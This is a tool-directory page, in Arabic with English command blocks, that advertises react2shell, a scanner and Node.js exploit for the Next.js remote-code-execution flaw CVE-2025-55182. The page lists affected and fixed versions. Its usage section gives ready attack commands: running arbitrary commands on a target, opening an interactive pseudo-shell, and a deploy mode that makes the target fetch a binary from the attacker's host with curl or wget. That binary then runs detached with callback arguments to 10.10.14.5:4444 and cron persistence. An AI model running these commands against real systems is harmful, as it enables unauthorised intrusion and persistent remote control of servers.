Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-react2shell — ماسح bash لاكتشاف ثغرة CVE-2025-55182 في تطبيقات Next.js. وسكربت nodejs لإثبات المفهوم (PoC). | Kitploit
أدوات/GitHubGitHub/saturate/cve-2025-55182-react2shell
ماسحات الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
saturate/cve-2025-55182-react2shell

CVE-2025-55182-react2shell

ماسح bash لاكتشاف ثغرة CVE-2025-55182 في تطبيقات Next.js. وسكربت nodejs لإثبات المفهوم (PoC).

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

react2shell

طقم أدوات CVE-2025-55182. ماسح ضوئي + استغلال لثغرة RCE غير موثّقة في Next.js عبر حقن حمولة RSC.

استغلال Node.js: بدون أي تبعيات. ماسح Bash: يفحص عناوين URL مفردة أو قوائم جماعية.

الاستغلال

root@kitploit:~
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
root@kitploit:~
Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

يُسلسل --deploy أربعة استدعاءات RCE: اكتشاف المنصة (uname)، وتنزيل الملف الثنائي (عبر تشغيل خادم HTTP مؤقت واستخدام curl/wget على الهدف)، وspawn منفصل بحيث تبقى العملية حيّة بعد انتهاء مهلة execSync البالغة 5 ثوانٍ.

ملاحظة: يجب أن تكون الصفحة المستهدفة ديناميكية (force-dynamic أو مسارًا غير قابل للتخزين المؤقت). الصفحات الثابتة/المُولّدة مسبقًا تُرجع ملخصات (digests) مخزنة مؤقتًا بدلًا من تنفيذ الحمولة.

الماسح الضوئي

root@kitploit:~
chmod +x cve-2025-55182-check.sh

# Scan a single URL
./cve-2025-55182-check.sh https://example.com

# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt

# JSON output
./cve-2025-55182-check.sh --json https://example.com
root@kitploit:~
Options:
  -f, --file FILE         Read URLs from file (one per line)
  -v, --verbose           Verbose output (show curl details)
  -q, --quiet             Quiet mode (only show vulnerable sites)
  -n, --no-follow         Don't follow redirects
  -t, --timeout SECONDS   Request timeout (default: 10)
  --json                  Output results in JSON format
  --validate-fix          Test for mitigation controls
  --single-payload        Use only the basic payload (faster)

قوالب التكامل

قوالب جاهزة لأدوات الأمان في templates/:

  • Nuclei (templates/nuclei.yaml)
  • Burp Suite (templates/burp-scanner.json)
  • OWASP ZAP (templates/zap-scan-policy.xml)

الإصدارات المتأثرة

React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77، جميع إصدارات 15.x و16.x (قبل التصحيحات)

الإصدارات المصلَّحة: React 19.0.1+، 19.1.2+، 19.2.1+ Next.js 16.0.7+، 15.5.7+، 15.4.8+، 15.3.6+، 15.2.6+، 15.1.9+، 15.0.5+

التفاصيل التقنية

انظر TECHNICAL.md للتحليل الكامل لسلسلة الاستغلال.

المراجع

  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • إشعار React الأمني: https://react.dev/blog/2025/12/03/critical-security-vulnerability
  • Commit الإصلاح: https://github.com/facebook/react/commit/7dc903cd29

الترخيص

MIT

المؤلف

Allan Kimmer Jensen - https://akj.io

تنزيل الأداة